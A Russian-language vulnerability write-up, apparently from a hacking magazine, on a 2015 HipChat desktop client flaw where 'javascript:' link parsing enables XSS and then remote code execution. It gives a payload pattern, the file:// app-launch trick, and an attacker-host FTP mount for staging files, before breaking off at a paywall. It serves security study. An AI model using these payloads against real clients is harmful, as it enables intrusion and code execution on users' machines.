Содержание статьи

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 12 ноября 2015 года
Автор: Matt Austin
CVE: N/A

Atlassian HipChat представляет собой веб-сервис для общения как внутри команды, так и один на один. Причина его популярности — плотная интеграция с остальными продуктами Atlassian, а также с другими популярными сервисами для разработчиков (GitHub, Heroku и подобными).

Для рендеринга таких объектов, как изображения, видео и смайлы, клиент HipChat использует встроенный движок WebKit. В клиентах для OS X, Windows и iOS при обработке URL-адресов текст, содержащий javascript:, неправильно конвертируется и превращается в ссылки. Несмотря на то, что это обычная уязвимость типа XSS, в нашем случае она, благодаря тому что позволяет получить доступ к локальным файлам, приводит к удаленному выполнению кода.

Клиент изучает входящие сообщения на наличие данных, которые нужно обработать. К примеру, он поддерживает популярные протоколы, такие как http://, ftp:// и file://. Помимо этого, парсер обрабатывает любую конструкцию типа любое_слово:// или любое_слово:/любое_слово и превращает ее в кликабельную ссылку.

В связи с этим возникает небольшая проблема: так как обработчик ждет символ / после двоеточия, то наш JavaScript-код будет начинаться с /. Решение — добавить второй слеш и символ перевода на новую строку. В результате мы получим строку с комментарием и за ним строку с нашим кодом.

javascript://some_comment%0aANY_JAVASCRIPT

Продолжим анализ. Когда мы кликаем ссылку, HipChat пытается ее открыть с помощью браузера, установленного по умолчанию. Это происходит, потому что ссылка передается операционной системе. То есть, нажав на ссылку вида http://..., мы в большинстве случаев откроем ее в веб-браузере. Но что произойдет с file://? Система запустит его. В итоге мы можем с помощью XSS выполнить приложение.

file:///Applications/Calculator.app

К сожалению, это будет работать только с приложениями на удаленном компьютере и не позволяет нам передать аргументы.

 

EXPLOIT

Получается, что нам нужно запустить или собственное приложение, или скрипт, то есть необходим файл, который можно контролировать и который находится в известном месте.

В этом нам поможет особенность обработки FTP-ссылок. Если такая ссылка содержит имя пользователя и пароль, то OS X, к примеру, автоматически подключится к FTP и смонтирует его как отдельный раздел.

Соединяемся, к примеру, с ftp://anonymous:x@104.131.88.251/. В случае успеха получим file:///Volumes/104.131.88.251/.

В итоге получим следующий эксплоит:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Твой тайный туннель. Детальный гайд по настройке OpenVPN и stunnel для создания защищенного канала

У тебя могут быть самые разные мотивы, чтобы пользоваться VPN: недоверенные сети, разного …